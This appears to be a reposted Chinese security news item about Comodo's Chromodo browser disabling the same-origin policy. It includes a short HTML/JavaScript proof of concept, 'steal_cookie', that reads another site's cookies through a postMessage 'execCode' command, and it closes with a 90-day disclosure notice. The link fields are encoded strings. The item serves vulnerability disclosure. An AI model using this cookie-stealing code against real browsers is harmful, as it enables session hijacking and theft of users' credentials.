-
-
Chromodo浏览器禁用同源策略后网络安全消失
-
发表于:
2016-2-16 17:11
1665
-
新闻链接：
6cdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6z5k6i4N6K6i4K6u0r3x3U0l9I4y4U0l9J5i4K6u0r3y4o6R3&6x3o6b7@1i4K6u0W2K9s2c8E0L8l9`.`.
新闻时间：2016-02-03
新闻正文：Comodo（科摩多）是美国的一家软件公司，是世界优秀的IT安全服务提供商和SSL证书的供应商之一，总部设在新泽西州泽西城，成立于1998年。其产品涉及范围较广，包含数字证书，安全软件以及安全周边软件。其免费产品也很多，包括安全套装在内均有免费版。
总的来说，Comodo的产品以严谨出名，防火墙严格的设置规则受到很多用户的喜爱，但该公司的反病毒产品功能并不是很强。
当你安装了Comodo网络安全套件之后，你将发现Comodo会默认安装一款名为Chromodo的新型网页浏览器，并且还会将其设为系统的默认浏览器。除此之外，系统中所有浏览器的快捷方式都会被Chromodo的地址所替换，该浏览器还会从Chrome浏览器中导入所有的设置以及cookie文件等信息。而且浏览器还会在某些情况下劫持主机的DNS设置。
fd7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8$3#2G2k6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5L8$3#2W2i4K6u0r3j5Y4u0G2N6%4y4W2M7Y4y4Q4x3X3c8@1L8$3!0D9j5X3q4J5M7#2)9J5c8X3y4Z5M7X3!0E0L8$3c8G2i4K6u0V1M7s2u0A6N6X3q4@1k6g2)9J5k6r3W2F1N6r3g2J5L8X3g2@1i4K6u0V1j5Y4u0G2N6%4y4W2M7W2)9J5k6i4m8Z5M7l9`.`.
Comodo将Chromodo浏览器描述为－“速度最快，安全等级最高，隐私保护最全面的浏览器”。但是实际上，这款浏览器并没有给用户提供任何的网络安全保护。因为他们禁用了同源策略！
具体示例请查看以下代码：
<html>
<head></head>
<body>
<script>
function steal_cookie(obj)
{
// Wait for the page to load
setTimeout(function() {
obj.postMessage(JSON.stringify({
command: "execCode",
code: "(document.cookie)",
}), "*");
}, 2000);
}
</script>
<a href="steal_cookie(window.open('
2a8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7$3I4Q4x3X3g2U0L8$3#2G2k6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6Q4x3U0N6Q4x3U0W2Q4x3U0V1`.">Click Here</a>
</body>
</html>
在此，我们将遵循90天的漏洞披露期限。如果90天之后，该公司没有提供相应的修复补丁，那么我们将会把这个漏洞的详细信息公布出来。
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
